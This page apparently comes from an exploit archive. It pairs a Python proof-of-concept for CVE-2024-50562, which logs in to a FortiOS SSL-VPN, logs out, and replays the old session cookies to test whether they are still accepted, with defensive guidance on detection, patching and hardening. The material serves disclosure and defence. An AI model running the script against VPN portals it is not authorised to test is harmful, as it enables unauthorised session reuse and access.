FortiOS SSL-VPN 7.4.4 - Insufficient Session Expiration & Cookie Reuse

Exploit Author: Shahid Hakim Analysis Author: www.bubbleslearn.ir Category: Remote Language: Python Published Date: 2025-06-20
#!/usr/bin/env python3
"""
# Exploit Title: FortiOS SSL-VPN 7.4.4 - Insufficient Session Expiration & Cookie Reuse
# Date: 2025-06-15
# Exploit Author: Shahid Parvez Hakim (BugB Technologies)
# Vendor Homepage: https://www.fortinet.com
# Software Link: https://www.fortinet.com/products/secure-sd-wan/fortigate
# Version: FortiOS 7.6.0, 7.4.0-7.4.7, 7.2.0-7.2.10, 7.0.x (all), 6.4.x (all)
# Tested on: FortiOS 7.4.x, 7.2.x
# CVE: CVE-2024-50562
# CVSS: 4.4 (Medium)
# Category: Session Management
# CWE: CWE-613 (Insufficient Session Expiration)

Description:
An insufficient session expiration vulnerability in FortiOS SSL-VPN allows an attacker 
to reuse stale session cookies after logout, potentially leading to unauthorized access.
The SVPNTMPCOOKIE remains valid even after the primary SVPNCOOKIE is invalidated during logout.

References:
- https://fortiguard.com/psirt/FG-IR-24-339
- https://nvd.nist.gov/vuln/detail/CVE-2024-50562

Usage:
python3 fortinet_cve_2024_50562.py -t <target> -u <username> -p <password> [options]

Example:
python3 fortinet_cve_2024_50562.py -t 192.168.1.10:443 -u testuser -p testpass
python3 fortinet_cve_2024_50562.py -t 10.0.0.1:4433 -u admin -p password123 --realm users
"""

import argparse
import requests
import urllib3
import re
import sys
from urllib.parse import urlparse

# Disable SSL warnings for testing
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class FortinetExploit:
    def __init__(self, target, username, password, realm="", timeout=10, force=False):
        self.target = target
        self.username = username
        self.password = password
        self.realm = realm
        self.timeout = timeout
        self.force = force
        self.base_url = f"https://{target}"
        self.session = None
        
    def banner(self):
        """Display exploit banner"""
        print("=" * 70)
        print("CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass")
        print("Author: Shahid Parvez Hakim (BugB Technologies)")
        print("CVSS: 4.4 (Medium) | FG-IR-24-339")
        print("=" * 70)
        print(f"Target: {self.target}")
        print(f"User: {self.username}")
        print("-" * 70)

    def validate_target(self):
        """Check if target is reachable and is Fortinet SSL-VPN"""
        try:
            print("[*] Validating target...")
            response = requests.get(f"{self.base_url}/remote/login", 
                                  verify=False, timeout=self.timeout)
            
            # More flexible detection for Fortinet SSL-VPN
            fortinet_indicators = [
                "fortinet", "fortigate", "forticlient",
                "sslvpn", "/remote/login", "SVPNCOOKIE",
                "logincheck", "hostcheck_install",
                "fgt_lang", "realm"
            ]
            
            response_text = response.text.lower()
            detected_indicators = [indicator for indicator in fortinet_indicators 
                                 if indicator in response_text]
            
            if detected_indicators:
                print(f"[+] Target confirmed as Fortinet SSL-VPN (indicators: {', '.join(detected_indicators[:3])})")
                return True
            elif response.status_code == 200:
                print("[!] Target reachable but Fortinet detection uncertain - proceeding anyway")
                return True
            else:
                print("[-] Target does not appear to be Fortinet SSL-VPN")
                return False
                
        except requests.exceptions.RequestException as e:
            print(f"[-] Connection failed: {e}")
            return False

    def attempt_login(self):
        """Attempt to authenticate with provided credentials"""
        try:
            print("[*] Attempting authentication...")
            
            self.session = requests.Session()
            self.session.verify = False
            
            # Get login page first
            self.session.get(f"{self.base_url}/remote/login?lang=en", timeout=self.timeout)
            
            # Attempt login
            login_data = {
                "ajax": "1",
                "username": self.username,
                "realm": self.realm,
                "credential": self.password
            }
            
            headers = {"Content-Type": "application/x-www-form-urlencoded"}
            
            response = self.session.post(f"{self.base_url}/remote/logincheck",
                                       data=login_data, headers=headers, 
                                       timeout=self.timeout)
            
            # Check if login was successful
            if re.search(r"\bret=1\b", response.text) and "/remote/hostcheck_install" in response.text:
                print("[+] Authentication successful!")
                
                # Extract and display cookies
                cookies = requests.utils.dict_from_cookiejar(response.cookies)
                self.display_cookies(cookies, "Login")
                
                return True, cookies
            else:
                print("[-] Authentication failed!")
                print(f"[!] Server response: {response.text[:100]}...")
                return False, {}
                
        except requests.exceptions.RequestException as e:
            print(f"[-] Login request failed: {e}")
            return False, {}

    def perform_logout(self):
        """Perform logout and check cookie invalidation"""
        try:
            print("[*] Performing logout...")
            
            response = self.session.get(f"{self.base_url}/remote/logout", timeout=self.timeout)
            cookies_after_logout = requests.utils.dict_from_cookiejar(response.cookies)
            
            print("[+] Logout completed")
            self.display_cookies(cookies_after_logout, "Logout")
            
            return cookies_after_logout
            
        except requests.exceptions.RequestException as e:
            print(f"[-] Logout request failed: {e}")
            return {}

    def test_session_reuse(self, original_cookies):
        """Test if old session cookies still work after logout"""
        try:
            print("[*] Testing session cookie reuse...")
            
            # Create new session to simulate attacker
            exploit_session = requests.Session()
            exploit_session.verify = False
            
            # Use original login cookies
            exploit_session.cookies.update(original_cookies)
            
            # Try to access protected resource
            test_url = f"{self.base_url}/sslvpn/portal.html"
            response = exploit_session.get(test_url, timeout=self.timeout)
            
            # Check if we're still authenticated
            if self.is_authenticated_response(response.text):
                print("[!] VULNERABILITY CONFIRMED!")
                print("[!] Session cookies remain valid after logout")
                print("[!] CVE-2024-50562 affects this system")
                return True
            else:
                print("[+] Session properly invalidated")
                print("[+] System appears to be patched")
                return False
                
        except requests.exceptions.RequestException as e:
            print(f"[-] Session reuse test failed: {e}")
            return False

    def is_authenticated_response(self, response_body):
        """Check if response indicates authenticated access"""
        # If response contains login form elements, user is not authenticated
        if re.search(r"/remote/login|name=[\"']username[\"']", response_body, re.I):
            return False
        return True

    def display_cookies(self, cookies, context):
        """Display cookies in a formatted way"""
        if cookies:
            print(f"[*] Cookies after {context}:")
            for name, value in cookies.items():
                # Truncate long values for display
                display_value = value[:20] + "..." if len(value) > 20 else value
                print(f"    {name} = {display_value}")
                
                # Highlight important cookies for CVE
                if name == "SVPNTMPCOOKIE":
                    print(f"    [!] Found SVPNTMPCOOKIE - Target for CVE-2024-50562")
                elif name == "SVPNCOOKIE":
                    print(f"    [*] Found SVPNCOOKIE - Primary session cookie")
        else:
            print(f"[*] No cookies set after {context}")

    def exploit(self):
        """Main exploit routine"""
        self.banner()
        
        # Step 1: Validate target (unless forced to skip)
        if not self.force:
            if not self.validate_target():
                print("[!] Use --force to skip target validation and proceed anyway")
                return False
        else:
            print("[*] Skipping target validation (--force enabled)")
            
        # Step 2: Attempt login
        login_success, login_cookies = self.attempt_login()
        if not login_success:
            return False
            
        # Step 3: Perform logout
        logout_cookies = self.perform_logout()
        
        # Step 4: Test session reuse
        vulnerable = self.test_session_reuse(login_cookies)
        
        # Step 5: Display results
        print("\n" + "=" * 70)
        print("EXPLOIT RESULTS")
        print("=" * 70)
        
        if vulnerable:
            print("STATUS: VULNERABLE")
            print("CVE-2024-50562: CONFIRMED")
            print("SEVERITY: Medium (CVSS 4.4)")
            print("\nRECOMMENDATIONS:")
            print("- Upgrade to patched FortiOS version")
            print("- FortiOS 7.6.x: Upgrade to 7.6.1+")
            print("- FortiOS 7.4.x: Upgrade to 7.4.8+")
            print("- FortiOS 7.2.x: Upgrade to 7.2.11+")
            print("- FortiOS 7.0.x/6.4.x: Migrate to supported version")
        else:
            print("STATUS: NOT VULNERABLE")
            print("CVE-2024-50562: NOT AFFECTED")
            print("\nSystem appears to be patched or not vulnerable")
            
        return vulnerable

def parse_target(target_string):
    """Parse target string and extract host:port"""
    if ':' not in target_string:
        # Default HTTPS port if not specified
        return f"{target_string}:443"
    return target_string

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python3 %(prog)s -t 192.168.1.10:443 -u admin -p password
  python3 %(prog)s -t 10.0.0.1:4433 -u testuser -p test123 --realm employees
  python3 %(prog)s -t vpn.company.com -u user@domain.com -p pass --timeout 15
  python3 %(prog)s -t 192.168.1.10:443 -u admin -p password --force
        """
    )
    
    parser.add_argument('-t', '--target', required=True,
                        help='Target IP:PORT (e.g., 192.168.1.10:443)')
    parser.add_argument('-u', '--username', required=True,
                        help='Username for authentication')
    parser.add_argument('-p', '--password', required=True,
                        help='Password for authentication')
    parser.add_argument('--realm', default='',
                        help='Authentication realm (optional)')
    parser.add_argument('--timeout', type=int, default=10,
                        help='Request timeout in seconds (default: 10)')
    parser.add_argument('--force', action='store_true',
                        help='Skip target validation and proceed anyway')
    
    args = parser.parse_args()
    
    # Parse and validate target
    target = parse_target(args.target)
    
    try:
        # Initialize and run exploit
        exploit = FortinetExploit(target, args.username, args.password, 
                                args.realm, args.timeout, args.force)
        vulnerable = exploit.exploit()
        
        # Exit with appropriate code
        sys.exit(0 if vulnerable else 1)
        
    except KeyboardInterrupt:
        print("\n[!] Exploit interrupted by user")
        sys.exit(1)
    except Exception as e:
        print(f"[!] Unexpected error: {e}")
        sys.exit(1)

if __name__ == "__main__":
    main()


FortiOS SSL‑VPN Insufficient Session Expiration & Cookie Reuse (CVE‑2024‑50562)

Summary

In 2024 Fortinet disclosed CVE‑2024‑50562: an insufficient session expiration issue affecting FortiOS SSL‑VPN implementations. A secondary temporary cookie (commonly observed as SVPNTMPCOOKIE) could remain valid after a user performed logout and the primary session cookie (SVPNCOOKIE) had been invalidated. The result: stale cookie reuse could allow unauthorized access to SSL‑VPN portals until the temporary cookie expired or was otherwise invalidated.

Key facts

  • CVE: CVE‑2024‑50562
  • Affected: multiple FortiOS branches (see vendor advisory). Fortinet published fixes and recommendations.
  • Severity: Medium (CVSS 4.4) — session management weakness, not remote code execution
  • Primary risk: unauthorized access via session reuse
  • Vendor advisory: Fortinet PSIRT (FG‑IR‑24‑339)

Technical overview

Web‑based SSL‑VPN systems rely on cookies to associate a browser with an authenticated session. Typically, a primary session cookie (e.g., SVPNCOOKIE) ties user identity and session state. More temporary cookies (e.g., SVPNTMPCOOKIE) may be used during authentication flows or for transitional state. The underlying defect here is insufficient lifecycle management: when the primary session cookie is invalidated on logout, the auxiliary temporary cookie remained valid and could still be used to access protected resources.

This class of issue aligns with CWE‑613 (Insufficient Session Expiration) and demonstrates how multiple cookies with overlapping privileges can create an unexpected attack surface when only one is revoked on logout.

Why this matters — practical impacts

  • Session reuse: An attacker with access to a stale SVPNTMPCOOKIE (e.g., from a shared or public device, stolen browser state, or an exposed backup) could access the SSL‑VPN portal after the legitimate user logged out.
  • Persistence window: Depending on cookie lifetime and server settings, the window for unauthorized reuse could extend well beyond the time of logout.
  • Compounded risk: When MFA is not enforced or when access to internal resources is allowed from the VPN portal, the impact increases.

Detection and indicators of compromise (defender guidance)

Detection focuses on finding anomalous session activity and verifying correct session teardown behavior after logout events. Below are safe, high‑level approaches for defenders and incident responders:

  • Log correlation: Search VPN logs for sequences where a user records a successful logout but then later session activity attributed to the same session identifier or cookie appears. Look for repeated resource requests shortly after logout timestamps.
  • Unusual reuse patterns: Identify requests to SSL‑VPN portal pages that follow a logout for the same user from a different IP or device within a short window.
  • Cookie observations: If you can capture client‑side telemetry in an enterprise environment (browser telemetry, endpoint DLP), check whether SVPNTMPCOOKIE values persist after logout and whether those cookies are accepted by the server for protected endpoints.
  • Behavioral alerts: Create detections for simultaneous logins from different geographic regions or for a single session accessing unusual resources after a logout event.

Example detection queries (conceptual)

Below are conceptual detection examples. Adapt fields and sourcetypes to your SIEM and log format. These are intended for defensive use only.

# Example (Splunk-like) pseudocode:
index=fortigate sourcetype=fortigate_vpn
| transaction session_id maxspan=5m
| where event="logout" AND later_event="portal_access"
| table _time user session_id src_ip event

Explanation: This query groups events by session identifier to find cases where a logout event is followed by portal access within a short timespan. Replace field names with the correct names from your VPN logs.

Remediation & mitigation

Immediate remediation should prioritize patching and reducing exposure:

  • Patch: Apply the vendor‑provided patches. Fortinet listed fixed versions (examples from advisory): upgrade SSL‑VPN appliances to FortiOS versions that include the fix (e.g., 7.6.1+, 7.4.8+, 7.2.11+). Always verify the exact patched builds in the Fortinet advisory for your platform and model.
  • Shorten session lifetime: Reduce idle and maximum session durations for SSL‑VPN users to limit the reuse window. Shorter idle time reduces exposure for stale cookies.
  • Enforce reauthentication: Require reauthentication for sensitive resources or for changes in client IP/device fingerprinting.
  • Harden cookies: Ensure cookies are set with Secure, HttpOnly, and SameSite attributes where applicable; this reduces risk of client‑side theft. Note: cookie flags are a complementary hardening step and may be controlled by FortiOS behavior in the firmware—consult vendor documentation.
  • Multi‑factor authentication (MFA): Enforce MFA for SSL‑VPN access so possession of a stale cookie alone is not sufficient for high‑risk operations.
  • Logging & monitoring: Increase logging verbosity for SSL‑VPN sessions during and after remediation to detect anomalous reuse attempts.
  • Restrict access scopes: Follow least privilege — restrict portal access to only required resources, apply network segmentation and internal ACLs for VPN users.

Operational hardening checklist

Action Why it helps
Apply vendor patch immediately Fixes session lifecycle bug at the source
Enforce short idle and maximum sessions Reduces window for stale cookie reuse
Enable MFA for all VPN users Mitigates credential/cookie theft risk
Review and monitor VPN logs Allows detection of suspicious session reuse
Limit portal exposure (IP/geo restrictions) Reduces attack surface for remote reuse

Safe testing and validation

If you are an administrator validating remediation, follow safe procedures:

  • Test only in an isolated lab or staging environment that mirrors production—never test exploits or exploit code against live systems you do not own or operate.
  • Verify behavior post‑patch by performing controlled login/logout sequences and confirming session teardown through server logs and official diagnostic pages.
  • Coordinate tests during change windows and maintain backups and rollback plans.

Post‑remediation verification checklist

  • Confirm installed FortiOS build matches vendor guidance for patched versions.
  • Verify logout invalidates all session artifacts and the portal rejects requests that reference previously used cookie values.
  • Monitor logs for repeated access attempts to the portal that follow logout events.
  • Ensure MFA and session timeouts are configured and operational.

Risk management and long‑term recommendations

Beyond emergency patching, organizations should treat session lifecycle management as a core security control for web and VPN services. Recommended long‑term practices:

  • Adopt defense in depth: combine patching, MFA, logging, and least privilege access.
  • Include session‑management controls in security reviews and pentests, focusing on session invalidation, token revocation, and cookie scopes.
  • Establish rapid update processes for security advisories and ensure device inventories are current so vulnerable systems can be patched promptly.

References

  • Fortinet PSIRT advisory (FG‑IR‑24‑339) — official vendor notice and remediation guidance
  • NVD entry for CVE‑2024‑50562 — technical summary and CVSS

Final note

Insufficient session expiration is a common and often underappreciated source of risk in web and remote access systems. When a vendor releases a patch for session lifecycle issues, prioritize testing and deployment, and use the opportunity to strengthen session management policies across your estate.